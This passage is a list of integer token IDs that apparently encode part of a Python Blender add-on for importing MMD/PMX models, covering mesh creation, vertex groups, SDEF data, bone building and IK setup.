318,
29894,
13,
4706,
736,
318,
29892,
29871,
29896,
29889,
29900,
29899,
29894,
13,
13,
1678,
822,
4770,
3258,
12724,
29898,
1311,
1125,
13,
4706,
9995,
6204,
1667,
3618,
322,
1544,
963,
304,
9088,
29889,
13,
4706,
9995,
13,
4706,
282,
16838,
3195,
353,
1583,
17255,
4299,
13,
4706,
5446,
29918,
978,
353,
289,
2272,
29889,
2084,
29889,
4990,
29918,
978,
29898,
3358,
29916,
3195,
29889,
1445,
2084,
29897,
13,
4706,
1583,
17255,
8966,
353,
286,
3487,
29918,
4299,
29889,
3195,
29889,
3258,
29898,
3358,
29916,
3195,
29889,
978,
29892,
282,
16838,
3195,
29889,
978,
29918,
29872,
29892,
1583,
17255,
7052,
29892,
5446,
29918,
978,
29897,
13,
4706,
3876,
353,
1583,
17255,
8966,
29889,
4632,
2061,
580,
13,
4706,
286,
3487,
29918,
4632,
353,
3876,
29889,
29885,
3487,
29918,
4632,
13,
4706,
1583,
17255,
4632,
353,
3876,
13,
13,
4706,
3876,
1839,
5215,
29918,
12083,
2033,
353,
2897,
29889,
2084,
29889,
25721,
29898,
3358,
29916,
3195,
29889,
1445,
2084,
29897,
13,
13,
4706,
13872,
353,
289,
2272,
29889,
1272,
29889,
726,
29879,
29889,
1482,
29898,
5415,
29918,
978,
29897,
13,
4706,
13872,
29889,
3166,
29918,
1807,
29898,
3358,
29916,
3195,
29889,
9342,
29889,
6506,
28909,
29878,
742,
6629,
876,
13,
4706,
286,
3487,
29918,
4632,
29889,
9342,
29918,
726,
353,
13872,
29889,
978,
13,
4706,
13872,
353,
289,
2272,
29889,
1272,
29889,
726,
29879,
29889,
1482,
29898,
5415,
29918,
978,
29974,
15972,
29872,
1495,
13,
4706,
13872,
29889,
3166,
29918,
1807,
29898,
3358,
29916,
3195,
29889,
9342,
29918,
29872,
29889,
6506,
28909,
29878,
742,
6629,
876,
13,
4706,
286,
3487,
29918,
4632,
29889,
9342,
29918,
29872,
29918,
726,
353,
13872,
29889,
978,
13,
13,
4706,
1583,
17255,
2817,
9930,
353,
1583,
17255,
8966,
29889,
2817,
1535,
580,
13,
4706,
1583,
17255,
2817,
9930,
29889,
11458,
353,
5852,
13,
4706,
1583,
17255,
2817,
9930,
29889,
2622,
353,
7700,
13,
13,
1678,
822,
4770,
3258,
29924,
12094,
2061,
29898,
1311,
1125,
13,
4706,
1904,
29918,
978,
353,
1583,
17255,
4632,
29889,
978,
13,
4706,
1583,
17255,
4467,
29882,
9930,
353,
289,
2272,
29889,
1272,
29889,
12650,
29889,
1482,
29898,
978,
29922,
4299,
29918,
978,
29974,
15972,
4467,
29882,
742,
1203,
29918,
1272,
29922,
29890,
2272,
29889,
1272,
29889,
4467,
13244,
29889,
1482,
29898,
978,
29922,
4299,
29918,
978,
876,
13,
4706,
1583,
17255,
4467,
29882,
9930,
29889,
3560,
353,
1583,
17255,
2817,
9930,
13,
4706,
1583,
17255,
5182,
23472,
29889,
12650,
29889,
2324,
29898,
1311,
17255,
4467,
29882,
9930,
29897,
13,
13,
1678,
822,
4770,
3258,
9496,
275,
24111,
2558,
29898,
1311,
1125,
13,
4706,
565,
1583,
17255,
4467,
29882,
9930,
29889,
1272,
29889,
12181,
29918,
8149,
29901,
13,
9651,
4974,
29898,
2435,
29898,
1311,
17255,
4467,
29882,
9930,
29889,
1272,
29889,
1765,
1575,
29897,
1405,
29871,
29900,
29897,
13,
9651,
4974,
29898,
2435,
29898,
1311,
17255,
4467,
29882,
9930,
29889,
1272,
29889,
12181,
29918,
8149,
29889,
1989,
29918,
1271,
29879,
29897,
1405,
29871,
29896,
29897,
13,
9651,
736,
13,
4706,
1583,
17255,
5182,
23472,
29889,
12650,
29889,
4925,
353,
1583,
17255,
4467,
29882,
9930,
13,
4706,
289,
2272,
29889,
3554,
29889,
3318,
29889,
12181,
29918,
1989,
29918,
1202,
580,
13,
13,
1678,
822,
4770,
5215,
22479,
4782,
29898,
1311,
1125,
13,
4706,
1583,
17255,
369,
4776,
4782,
3562,
353,
5159,
13,
4706,
363,
474,
297,
1583,
17255,
4299,
29889,
29890,
2873,
29901,
13,
9651,
1583,
17255,
369,
4776,
4782,
3562,
29889,
4397,
29898,
1311,
17255,
4467,
29882,
9930,
29889,
369,
4776,
29918,
13155,
29889,
1482,
29898,
978,
29922,
29875,
29889,
978,
876,
13,
13,
1678,
822,
4770,
5215,
9114,
1575,
29898,
1311,
1125,
13,
4706,
1583,
17255,
5215,
22479,
4782,
580,
13,
13,
4706,
282,
16838,
3195,
353,
1583,
17255,
4299,
13,
4706,
282,
16838,
29918,
1765,
1575,
353,
282,
16838,
3195,
29889,
1765,
1575,
13,
4706,
12688,
29918,
2798,
353,
7431,
29898,
3358,
29916,
29918,
1765,
1575,
29897,
13,
4706,
12688,
29918,
1958,
353,
1583,
17255,
369,
4776,
29918,
1958,
13,
4706,
565,
12688,
29918,
1958,
29901,
13,
9651,
16285,
353,
16250,
29889,
7514,
287,
21533,
29898,
369,
4776,
29918,
1958,
467,
8149,
580,
13,
9651,
282,
16838,
29918,
1765,
1575,
353,
18761,
29898,
3358,
29916,
3195,
29889,
1765,
1575,
29961,
29916,
29962,
363,
921,
297,
16285,
29897,
13,
9651,
12688,
29918,
2798,
353,
7431,
29898,
513,
1575,
29897,
13,
4706,
565,
12688,
29918,
2798,
529,
29871,
29896,
29901,
13,
9651,
736,
13,
13,
4706,
27716,
353,
1583,
17255,
4467,
29882,
9930,
29889,
1272,
13,
4706,
27716,
29889,
1765,
1575,
29889,
1202,
29898,
2798,
29922,
369,
4776,
29918,
2798,
29897,
13,
4706,
27716,
29889,
1765,
1575,
29889,
13150,
29918,
842,
877,
1111,
742,
18761,
29898,
29875,
363,
282,
29894,
297,
282,
16838,
29918,
1765,
1575,
363,
474,
297,
313,
12877,
29898,
29886,
29894,
29889,
1111,
467,
29916,
1537,
334,
1583,
17255,
7052,
4961,
13,
13,
4706,
12688,
29918,
2972,
29918,
2371,
353,
1583,
17255,
369,
4776,
4782,
3562,
13,
4706,
325,
29887,
29918,
12864,
29918,
7052,
353,
1583,
17255,
4467,
29882,
9930,
29889,
369,
4776,
29918,
13155,
29889,
1482,
29898,
978,
2433,
29885,
3487,
29918,
12864,
29918,
7052,
1495,
13,
4706,
325,
29887,
29918,
369,
4776,
29918,
2098,
353,
1583,
17255,
4467,
29882,
9930,
29889,
369,
4776,
29918,
13155,
29889,
1482,
29898,
978,
2433,
29885,
3487,
29918,
369,
4776,
29918,
2098,
1495,
13,
4706,
363,
474,
29892,
282,
29894,
297,
26985,
29898,
3358,
29916,
29918,
1765,
1575,
1125,
13,
9651,
282,
29894,
29918,
29890,
2873,
29892,
282,
29894,
29918,
705,
5861,
29892,
22645,
353,
282,
29894,
29889,
7915,
29889,
29890,
2873,
29892,
282,
29894,
29889,
7915,
29889,
705,
5861,
29892,
313,
29875,
29892,
29897,
13,
13,
9651,
325,
29887,
29918,
12864,
29918,
7052,
29889,
1202,
29898,
2248,
29922,
13140,
29892,
7688,
29922,
29886,
29894,
29889,
12864,
29918,
7052,
29892,
1134,
2433,
1525,
7390,
11538,
1495,
13,
9651,
325,
29887,
29918,
369,
4776,
29918,
2098,
29889,
1202,
29898,
2248,
29922,
13140,
29892,
7688,
29922,
29875,
29914,
369,
4776,
29918,
2798,
29892,
1134,
2433,
1525,
7390,
11538,
1495,
13,
13,
9651,
565,
338,
8758,
29898,
29886,
29894,
29918,
705,
5861,
29892,
282,
16838,
29889,
29933,
650,
22676,
29903,
24405,
1125,
13,
18884,
565,
282,
29894,
29918,
29890,
2873,
29961,
29900,
29962,
1405,
282,
29894,
29918,
29890,
2873,
29961,
29896,
5387,
13,
462,
1678,
282,
29894,
29918,
29890,
2873,
29889,
24244,
580,
13,
462,
1678,
282,
29894,
29918,
705,
5861,
29889,
7915,
353,
29871,
29896,
29889,
29900,
448,
282,
29894,
29918,
705,
5861,
29889,
7915,
13,
462,
1678,
282,
29894,
29918,
705,
5861,
29889,
29878,
29900,
29892,
282,
29894,
29918,
705,
5861,
29889,
29878,
29896,
353,
282,
29894,
29918,
705,
5861,
29889,
29878,
29896,
29892,
282,
29894,
29918,
705,
5861,
29889,
29878,
29900,
13,
18884,
12688,
29918,
2972,
29918,
2371,
29961,
29886,
29894,
29918,
29890,
2873,
29961,
29900,
29962,
1822,
1202,
29898,
2248,
29922,
13140,
29892,
7688,
29922,
29886,
29894,
29918,
705,
5861,
29889,
7915,
29892,
1134,
2433,
17744,
1495,
13,
18884,
12688,
29918,
2972,
29918,
2371,
29961,
29886,
29894,
29918,
29890,
2873,
29961,
29896,
29962,
1822,
1202,
29898,
2248,
29922,
13140,
29892,
7688,
29922,
29896,
29889,
29900,
29899,
29886,
29894,
29918,
705,
5861,
29889,
7915,
29892,
1134,
2433,
17744,
1495,
13,
18884,
1583,
17255,
29879,
1753,
9114,
1575,
29961,
29875,
29962,
353,
282,
29894,
13,
9651,
25342,
7431,
29898,
29886,
29894,
29918,
29890,
2873,
29897,
1275,
29871,
29896,
29901,
13,
18884,
289,
650,
29918,
2248,
353,
282,
29894,
29918,
29890,
2873,
29961,
29900,
29962,
13,
18884,
565,
289,
650,
29918,
2248,
6736,
29871,
29900,
29901,
13,
462,
1678,
12688,
29918,
2972,
29918,
2371,
29961,
15933,
29918,
2248,
1822,
1202,
29898,
2248,
29922,
13140,
29892,
7688,
29922,
29896,
29889,
29900,
29892,
1134,
2433,
17744,
1495,
13,
9651,
25342,
7431,
29898,
29886,
29894,
29918,
29890,
2873,
29897,
1275,
29871,
29906,
29901,
13,
18884,
12688,
29918,
2972,
29918,
2371,
29961,
29886,
29894,
29918,
29890,
2873,
29961,
29900,
29962,
1822,
1202,
29898,
2248,
29922,
13140,
29892,
7688,
29922,
29886,
29894,
29918,
705,
5861,
29961,
29900,
1402,
1134,
2433,
17744,
1495,
13,
18884,
12688,
29918,
2972,
29918,
2371,
29961,
29886,
29894,
29918,
29890,
2873,
29961,
29896,
29962,
1822,
1202,
29898,
2248,
29922,
13140,
29892,
7688,
29922,
29896,
29889,
29900,
29899,
29886,
29894,
29918,
705,
5861,
29961,
29900,
1402,
1134,
2433,
17744,
1495,
13,
9651,
25342,
7431,
29898,
29886,
29894,
29918,
29890,
2873,
29897,
1275,
29871,
29946,
29901,
13,
18884,
363,
289,
650,
29892,
7688,
297,
14319,
29898,
29886,
29894,
29918,
29890,
2873,
29892,
282,
29894,
29918,
705,
5861,
1125,
13,
462,
1678,
12688,
29918,
2972,
29918,
2371,
29961,
15933,
1822,
1202,
29898,
2248,
29922,
13140,
29892,
7688,
29922,
7915,
29892,
1134,
2433,
17744,
1495,
13,
9651,
1683,
29901,
13,
18884,
12020,
8960,
877,
2960,
776,
289,
650,
7688,
1134,
29889,
1495,
13,
13,
4706,
325,
29887,
29918,
12864,
29918,
7052,
29889,
908,
29918,
7915,
353,
5852,
13,
4706,
325,
29887,
29918,
369,
4776,
29918,
2098,
29889,
908,
29918,
7915,
353,
5852,
13,
13,
1678,
822,
4770,
8899,
9114,
1575,
29903,
24405,
29898,
1311,
1125,
13,
4706,
565,
7431,
29898,
1311,
17255,
29879,
1753,
9114,
1575,
29897,
529,
29871,
29896,
29901,
13,
9651,
736,
13,
13,
4706,
1583,
17255,
3258,
9496,
275,
24111,
2558,
580,
13,
4706,
269,
1753,
29907,
353,
1583,
17255,
4467,
29882,
9930,
29889,
12181,
29918,
1989,
29918,
1202,
29898,
978,
2433,
29885,
3487,
29918,
29879,
1753,
29918,
29883,
1495,
13,
4706,
269,
1753,
29934,
29900,
353,
1583,
17255,
4467,
29882,
9930,
29889,
12181,
29918,
1989,
29918,
1202,
29898,
978,
2433,
29885,
3487,
29918,
29879,
1753,
29918,
29878,
29900,
1495,
13,
4706,
269,
1753,
29934,
29896,
353,
1583,
17255,
4467,
29882,
9930,
29889,
12181,
29918,
1989,
29918,
1202,
29898,
978,
2433,
29885,
3487,
29918,
29879,
1753,
29918,
29878,
29896,
1495,
13,
4706,
363,
474,
29892,
282,
29894,
297,
1583,
17255,
29879,
1753,
9114,
1575,
29889,
7076,
7295,
13,
9651,
281,
353,
282,
29894,
29889,
7915,
29889,
705,
5861,
13,
9651,
269,
1753,
29907,
29889,
1272,
29961,
29875,
1822,
1111,
353,
16510,
29898,
29893,
29889,
29883,
467,
29916,
1537,
334,
1583,
17255,
7052,
13,
9651,
269,
1753,
29934,
29900,
29889,
1272,
29961,
29875,
1822,
1111,
353,
16510,
29898,
29893,
29889,
29878,
29900,
467,
29916,
1537,
334,
1583,
17255,
7052,
13,
9651,
269,
1753,
29934,
29896,
29889,
1272,
29961,
29875,
1822,
1111,
353,
16510,
29898,
29893,
29889,
29878,
29896,
467,
29916,
1537,
334,
1583,
17255,
7052,
13,
4706,
12183,
29889,
3888,
877,
855,
4395,
1273,
29881,
317,
24405,
13791,
742,
7431,
29898,
1311,
17255,
29879,
1753,
9114,
1575,
876,
13,
13,
1678,
822,
4770,
5215,
1626,
1973,
29898,
1311,
1125,
13,
4706,
282,
16838,
3195,
353,
1583,
17255,
4299,
13,
13,
4706,
1583,
17255,
726,
545,
3562,
353,
5159,
13,
4706,
363,
474,
297,
282,
16838,
3195,
29889,
726,
1973,
29901,
13,
9651,
1583,
17255,
726,
545,
3562,
29889,
4397,
29898,
29890,
2272,
29889,
2084,
29889,
17863,
29918,
29876,
4878,
29898,
2084,
29922,
29875,
29889,
2084,
876,
13,
13,
1678,
822,
4770,
3258,
6103,
29933,
2873,
29898,
1311,
29892,
5446,
29892,
282,
16838,
29918,
29890,
2873,
1125,
13,
4706,
9995,
1653,
7641,
29933,
2873,
515,
282,
16838,
934,
848,
29889,
13,
4706,
732,
2457,
278,
1051,
310,
289,
650,
2983,
607,
508,
367,
20592,
491,
278,
289,
650,
2380,
310,
282,
16838,
848,
29889,
13,
4706,
9995,
13,
4706,
3863,
29933,
650,
3562,
353,
5159,
13,
4706,
1024,
3562,
353,
5159,
13,
4706,
4266,
29911,
666,
29933,
2873,
353,
5159,
13,
4706,
10609,
29918,
23090,
29918,
638,
29918,
29890,
2873,
353,
5159,
13,
4706,
396,
1454,
474,
29892,
282,
29918,
15933,
297,
26985,
29898,
3358,
29916,
29918,
29890,
2873,
1125,
13,
4706,
396,
1678,
565,
282,
29918,
15933,
29889,
275,
23328,
29901,
13,
4706,
396,
4706,
565,
282,
29918,
15933,
29889,
5182,
2804,
448,
29896,
29901,
13,
4706,
396,
9651,
260,
353,
282,
16838,
29918,
29890,
2873,
29961,
29886,
29918,
15933,
29889,
5182,
29962,
13,
4706,
396,
9651,
565,
282,
29918,
15933,
29889,
3560,
1275,
260,
29889,
3560,
29901,
13,
4706,
396,
18884,
10609,
29918,
23090,
29918,
638,
29918,
29890,
2873,
29889,
4397,
29898,
29875,
29897,
13,
13,
4706,
411,
289,
2272,
13239,
29889,
5628,
29918,
3318,
29898,
5415,
29897,
408,
848,
29901,
13,
9651,
363,
474,
297,
282,
16838,
29918,
29890,
2873,
29901,
13,
18884,
289,
650,
353,
848,
29889,
5628,
29918,
29890,
2873,
29889,
1482,
29898,
978,
29922,
29875,
29889,
978,
29897,
13,
18884,
1180,
353,
16510,
29898,
29875,
29889,
5479,
467,
29916,
1537,
334,
1583,
17255,
7052,
13,
18884,
289,
650,
29889,
2813,
353,
1180,
13,
18884,
3863,
29933,
650,
3562,
29889,
4397,
29898,
15933,
29897,
13,
18884,
1024,
3562,
29889,
4397,
29898,
15933,
29889,
978,
29897,
13,
13,
9651,
363,
474,
29892,
313,
29890,
29918,
15933,
29892,
286,
29918,
15933,
29897,
297,
26985,
29898,
7554,
29898,
5628,
29933,
650,
3562,
29892,
282,
16838,
29918,
29890,
2873,
22164,
13,
18884,
565,
286,
29918,
15933,
29889,
3560,
2804,
448,
29896,
29901,
13,
462,
1678,
565,
474,
451,
297,
10609,
29918,
23090,
29918,
638,
29918,
29890,
2873,
29901,
13,
462,
4706,
289,
29918,
15933,
29889,
3560,
353,
3863,
29933,
650,
3562,
29961,
29885,
29918,
15933,
29889,
3560,
29962,
13,
462,
1678,
1683,
29901,
13,
462,
4706,
289,
29918,
15933,
29889,
3560,
353,
3863,
29933,
650,
3562,
29961,
29885,
29918,
15933,
29889,
3560,
1822,
3560,
13,
13,
9651,
363,
289,
29918,
15933,
29892,
286,
29918,
15933,
297,
14319,
29898,
5628,
29933,
650,
3562,
29892,
282,
16838,
29918,
29890,
2873,
1125,
13,
18884,
565,
338,
8758,
29898,
29885,
29918,
15933,
29889,
4990,
5350,
29892,
938,
1125,
13,
462,
1678,
565,
286,
29918,
15933,
29889,
4990,
5350,
2804,
448,
29896,
29901,
13,
462,
4706,
289,
29918,
15933,
29889,
18237,
353,
3863,
29933,
650,
3562,
29961,
29885,
29918,
15933,
29889,
4990,
5350,
1822,
2813,
13,
462,
1678,
1683,
29901,
13,
462,
4706,
289,
29918,
15933,
29889,
18237,
353,
289,
29918,
15933,
29889,
2813,
13,
18884,
1683,
29901,
13,
462,
1678,
1180,
353,
16510,
29898,
29885,
29918,
15933,
29889,
4990,
5350,
467,
29916,
1537,
334,
1583,
17255,
7052,
13,
462,
1678,
289,
29918,
15933,
29889,
18237,
353,
289,
29918,
15933,
29889,
2813,
718,
1180,
13,
13,
9651,
363,
289,
29918,
15933,
29892,
286,
29918,
15933,
297,
14319,
29898,
5628,
29933,
650,
3562,
29892,
282,
16838,
29918,
29890,
2873,
1125,
13,
18884,
565,
338,
8758,
29898,
29885,
29918,
15933,
29889,
4990,
5350,
29892,
938,
29897,
322,
286,
29918,
15933,
29889,
4990,
5350,
6736,
29871,
29900,
29901,
13,
462,
1678,
260,
353,
3863,
29933,
650,
3562,
29961,
29885,
29918,
15933,
29889,
4990,
5350,
29962,
13,
462,
1678,
565,
260,
29889,
3560,
338,
451,
6213,
322,
260,
29889,
3560,
1275,
289,
29918,
15933,
29901,
13,
462,
4706,
260,
29889,
1509,
29918,
6915,
353,
451,
282,
16838,
29918,
29890,
2873,
29961,
29885,
29918,
15933,
29889,
4990,
5350,
1822,
275,
29924,
586,
519,
13,
13,
9651,
363,
289,
29918,
15933,
29892,
286,
29918,
15933,
297,
14319,
29898,
5628,
29933,
650,
3562,
29892,
282,
16838,
29918,
29890,
2873,
1125,
13,
18884,
565,
286,
29918,
15933,
29889,
275,
23328,
322,
286,
29918,
15933,
29889,
5182,
2804,
448,
29896,
29901,
13,
462,
1678,
12183,
29889,
8382,
877,
448,
8454,
306,
29968,
2988,
310,
1273,
29879,
742,
289,
29918,
15933,
29889,
978,
29897,
13,
462,
1678,
289,
29918,
5182,
353,
3863,
29933,
650,
3562,
29961,
29885,
29918,
15933,
29889,
5182,
29962,
13,
462,
1678,
363,
474,
297,
3464,
29898,
2435,
29898,
29885,
29918,
15933,
29889,
638,
29918,
4965,
22164,
13,
462,
4706,
289,
29918,
15933,
29918,
2324,
353,
3863,
29933,
650,
3562,
29961,
29885,
29918,
15933,
29889,
638,
29918,
4965,
29961,
29875,
1822,
5182,
29962,
13,
462,
4706,
565,
1583,
17255,
5878,
29918,
23328,
29918,
4965,
470,
289,
29918,
15933,
29918,
2324,
29889,
2848,
529,
29871,
29900,
29889,
29900,
29900,
29896,
29901,
13,
462,
9651,
289,
29918,
15933,
29918,
18237,
353,
289,
29918,
5182,
565,
474,
1275,
29871,
29900,
1683,
3863,
29933,
650,
3562,
29961,
29885,
29918,
15933,
29889,
638,
29918,
4965,
29961,
29875,
29899,
29896,
1822,
5182,
29962,
13,
462,
9651,
1180,
353,
289,
29918,
15933,
29918,
18237,
29889,
2813,
448,
289,
29918,
15933,
29918,
2324,
29889,
2813,
13,
462,
9651,
565,
1180,
29889,
2848,
529,
29871,
29900,
29889,
29900,
29900,
29896,
29901,
13,
462,
18884,
12183,
29889,
27392,
877,
259,
3579,
443,
2929,
1490,
306,
29968,
1544,
1273,
29879,
3579,
742,
289,
29918,
15933,
29918,
2324,
29889,
978,
29897,
13,
462,
9651,
25342,
289,
29918,
15933,
29918,
18237,
29889,
3560,
2804,
289,
29918,
15933,
29918,
2324,
29901,
13,
462,
18884,
12183,
29889,
27392,
877,
259,
3579,
14993,
2986,
306,
29968,
1544,
1273,
29879,
3579,
742,
289,
29918,
15933,
29918,
2324,
29889,
978,
29897,
13,
462,
9651,
25342,
313,
29890,
29918,
15933,
29918,
2324,
29889,
18237,
448,
289,
29918,
15933,
29918,
18237,
29889,
2813,
467,
2848,
1405,
29871,
29896,
29872,
29899,
29946,
29901,
13,
462,
18884,
12183,
29889,
8382,
877,
259,
334,
2329,
306,
29968,
1544,
1273,
29879,
742,
289,
29918,
15933,
29918,
2324,
29889,
978,
29897,
13,
462,
18884,
289,
29918,
15933,
29918,
2324,
29889,
18237,
353,
289,
29918,
15933,
29918,
2324,
29889,
2813,
718,
1180,
13,
13,
9651,
363,
289,
29918,
15933,
29892,
286,
29918,
15933,
297,
14319,
29898,
5628,
29933,
650,
3562,
29892,
282,
16838,
29918,
29890,
2873,
1125,
13,
18884,
396,
3789,
278,
3309,
310,
2086,
3273,
289,
2873,
304,
29871,
29896,
1363,
3164,
1581,
5217,
963,
29889,
13,
18884,
565,
289,
29918,
15933,
29889,
2848,
529,
29871,
29900,
29889,
29900,
29900,
29896,
29901,
13,
462,
1678,
565,
451,
1583,
17255,
7302,
29918,
15933,
29918,
20227,
29918,
8990,
322,
286,
29918,
15933,
29889,
8990,
338,
451,
6213,
29901,
13,
462,
4706,
4343,
29918,
8990,
353,
16510,
29898,
29885,
29918,
15933,
29889,
8990,
29897,
13,
462,
4706,
565,
4343,
29918,
8990,
29889,
2848,
29901,
13,
462,
9651,
289,
29918,
15933,
29889,
18237,
353,
289,
29918,
15933,
29889,
2813,
718,
4343,
29918,
8990,
29889,
29916,
1537,
29889,
8945,
1891,
580,
334,
1583,
17255,
7052,
13,
462,
4706,
1683,
29901,
13,
462,
9651,
289,
29918,
15933,
29889,
18237,
353,
289,
29918,
15933,
29889,
2813,
718,
16510,
3552,
29900,
29892,
29871,
29900,
29892,
29871,
29896,
876,
334,
1583,
17255,
7052,
13,
462,
1678,
1683,
29901,
13,
462,
4706,
289,
29918,
15933,
29889,
18237,
353,
289,
29918,
15933,
29889,
2813,
718,
16510,
3552,
29900,
29892,
29871,
29900,
29892,
29871,
29896,
876,
334,
1583,
17255,
7052,
13,
462,
1678,
565,
286,
29918,
15933,
29889,
4990,
5350,
2804,
448,
29896,
322,
286,
29918,
15933,
29889,
4990,
5350,
2804,
518,
29900,
29889,
29900,
29892,
29871,
29900,
29889,
29900,
29892,
29871,
29900,
29889,
29900,
5387,
13,
462,
4706,
12183,
29889,
8382,
877,
334,
4266,
6872,
289,
650,
1273,
29879,
29892,
2479,
1273,
29879,
742,
289,
29918,
15933,
29889,
978,
29892,
851,
29898,
29885,
29918,
15933,
29889,
4990,
5350,
876,
13,
462,
4706,
4266,
29911,
666,
29933,
2873,
29889,
4397,
29898,
29890,
29918,
15933,
29889,
978,
29897,
13,
13,
9651,
363,
289,
29918,
15933,
29892,
286,
29918,
15933,
297,
14319,
29898,
5628,
29933,
650,
3562,
29892,
282,
16838,
29918,
29890,
2873,
1125,
13,
18884,
565,
286,
29918,
15933,
29889,
2997,
7967,
16065,
338,
451,
6213,
29901,
13,
462,
1678,
383,
29876,
29933,
650,
29889,
5504,
29918,
15933,
29918,
1245,
29898,
29890,
29918,
15933,
29892,
286,
29918,
15933,
29889,
2997,
7967,
16065,
29889,
29916,
29918,
8990,
29892,
286,
29918,
15933,
29889,
2997,
7967,
16065,
29889,
29920,
29918,
8990,
29897,
13,
18884,
25342,
383,
29876,
29933,
650,
29889,
5349,
29918,
6921,
29918,
2997,
29918,
8990,
29898,
29885,
29918,
15933,
29889,
978,
1125,
13,
462,
1678,
383,
29876,
29933,
650,
29889,
5504,
29918,
6921,
29918,
15933,
29918,
1245,
29898,
29890,
29918,
15933,
29897,
13,
13,
4706,
736,
1024,
3562,
29892,
4266,
29911,
666,
29933,
2873,
13,
13,
1678,
822,
4770,
6605,
29925,
852,
29933,
2873,
2059,
29933,
650,
3220,
29898,
1311,
29892,
18593,
29918,
29890,
2873,
29892,
289,
650,
29918,
7039,
1125,
13,
4706,
364,
353,
5159,
13,
4706,
363,
474,
297,
289,
650,
29918,
7039,
29901,
13,
9651,
364,
29889,
4397,
29898,
4220,
29918,
29890,
2873,
29961,
29875,
2314,
13,
4706,
736,
364,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
3588,
23328,
24445,
9928,
793,
29898,
1195,
29918,
2521,
29892,
4236,
29918,
2521,
29892,
289,
650,
29918,
5344,
29892,
21292,
29922,
8824,
1125,
13,
4706,
1775,
353,
289,
650,
29918,
5344,
29889,
517,
29918,
29941,
29916,
29941,
580,
334,
448,
29896,
13,
4706,
1775,
29961,
29896,
1402,
1775,
29961,
29906,
29962,
353,
1775,
29961,
29906,
1822,
8552,
3285,
1775,
29961,
29896,
1822,
8552,
580,
13,
4706,
1775,
29889,
3286,
4220,
580,
13,
4706,
565,
21292,
29901,
13,
9651,
1775,
29889,
262,
1765,
580,
13,
13,
4706,
396,
7595,
4636,
304,
5534,
27815,
13,
4706,
286,
353,
22513,
4197,
29961,
29900,
29892,
29900,
29892,
29900,
1402,
518,
29900,
29892,
29900,
29892,
29900,
1402,
518,
29900,
29892,
29900,
29892,
29900,
24960,
13,
4706,
474,
29918,
842,
29892,
432,
29918,
842,
353,
518,
29900,
29892,
29871,
29896,
29892,
29871,
29906,
1402,
518,
29900,
29892,
29871,
29896,
29892,
29871,
29906,
29962,
13,
4706,
363,
903,
297,
3464,
29898,
29941,
1125,
13,
9651,
13607,
29892,
432,
29926,
353,
474,
29918,
842,
29961,
29900,
1402,
432,
29918,
842,
29961,
29900,
29962,
13,
9651,
363,
474,
297,
474,
29918,
842,
29901,
13,
18884,
363,
432,
297,
432,
29918,
842,
29901,
13,
462,
1678,
565,
6425,
29898,
2922,
29961,
29875,
3816,
29926,
2314,
1405,
6425,
29898,
2922,
29961,
2236,
3816,
29926,
29926,
29962,
1125,
13,
462,
4706,
13607,
29892,
432,
29926,
353,
474,
29892,
432,
13,
9651,
474,
29918,
842,
29889,
5992,
29898,
2236,
29897,
13,
9651,
432,
29918,
842,
29889,
5992,
29898,
29926,
29926,
29897,
13,
9651,
286,
29961,
2236,
3816,
29926,
29926,
29962,
353,
448,
29896,
565,
1775,
29961,
2236,
3816,
29926,
29926,
29962,
529,
29871,
29900,
1683,
29871,
29896,
13,
13,
4706,
716,
29918,
1195,
29918,
2521,
353,
289,
2272,
13239,
29889,
2922,
16109,
29898,
29885,
29892,
16510,
29898,
1195,
29918,
2521,
876,
13,
4706,
716,
29918,
3317,
29918,
2521,
353,
289,
2272,
13239,
29889,
2922,
16109,
29898,
29885,
29892,
16510,
29898,
3317,
29918,
2521,
876,
13,
4706,
363,
474,
297,
3464,
29898,
29941,
1125,
13,
9651,
565,
716,
29918,
1195,
29918,
2521,
29961,
29875,
29962,
1405,
716,
29918,
3317,
29918,
2521,
29961,
29875,
5387,
13,
18884,
716,
29918,
1195,
29918,
2521,
29961,
29875,
1402,
716,
29918,
3317,
29918,
2521,
29961,
29875,
29962,
353,
716,
29918,
3317,
29918,
2521,
29961,
29875,
1402,
716,
29918,
1195,
29918,
2521,
29961,
29875,
29962,
13,
4706,
736,
716,
29918,
1195,
29918,
2521,
29892,
716,
29918,
3317,
29918,
2521,
13,
13,
1678,
822,
4770,
7302,
29902,
29895,
29898,
1311,
29892,
2380,
29892,
282,
16838,
29918,
15933,
29892,
18593,
29918,
29890,
2873,
1125,
13,
4706,
9995,
1653,
263,
306,
29968,
289,
650,
7276,
13,
308,
960,
278,
306,
29968,
289,
650,
322,
278,
3646,
289,
650,
338,
13055,
29892,
263,
20254,
306,
29968,
3646,
289,
650,
338,
2825,
408,
263,
2278,
310,
278,
306,
29968,
289,
650,
29889,
13,
308,
732,
3207,
2380,
278,
289,
650,
2380,
13,
308,
732,
3207,
282,
16838,
29918,
15933,
282,
16838,
29889,
29933,
650,
13,
308,
732,
3207,
18593,
29918,
29890,
2873,
278,
1051,
310,
349,
852,
29933,
2873,
12705,
491,
278,
289,
650,
2380,
13,
4706,
9995,
13,
13,
4706,
396,
363,
23110,
286,
3487,
12380,
3646,
29892,
2560,
3641,
3381,
29901,
13,
4706,
396,
718,
28272,
13,
4706,
396,
891,
718,
1544,
29896,
13,
4706,
396,
891,
259,
718,
1544,
29900,
313,
638,
29918,
15933,
29897,
3705,
12380,
7276,
29892,
9704,
29918,
2798,
29922,
29906,
13,
4706,
396,
891,
268,
718,
306,
29968,
3646,
313,
638,
29918,
5182,
29897,
3705,
7276,
525,
29885,
3487,
29918,
638,
29918,
5182,
29918,
15752,
742,
1014,
5182,
29922,
2324,
29900,
13,
4706,
396,
718,
306,
29968,
289,
650,
313,
5182,
29918,
15933,
29897,
13,
4706,
396,
13,
4706,
396,
372,
338,
1950,
393,
278,
1544,
29900,
338,
278,
306,
29968,
3646,
29892,
13,
4706,
396,
577,
12380,
7276,
674,
367,
373,
1544,
29896,
29892,
9704,
29918,
2798,
29922,
29896,
13,
4706,
396,
278,
306,
29968,
3646,
3508,
29915,
29873,
15201,
491,
306,
29968,
289,
650,
13,
13,
4706,
3646,
29918,
15933,
353,
18593,
29918,
29890,
2873,
29961,
2248,
29962,
13,
4706,
12380,
29918,
5182,
353,
18593,
29918,
29890,
2873,
29961,
3358,
29916,
29918,
15933,
29889,
5182,
29962,
13,
4706,
12380,
29918,
15933,
353,
12380,
29918,
5182,
29889,
3560,
13,
4706,
338,
29918,
3084,
29918,
638,
353,
7700,
13,
4706,
565,
7431,
29898,
3358,
29916,
29918,
15933,
29889,
638,
29918,
4965,
29897,
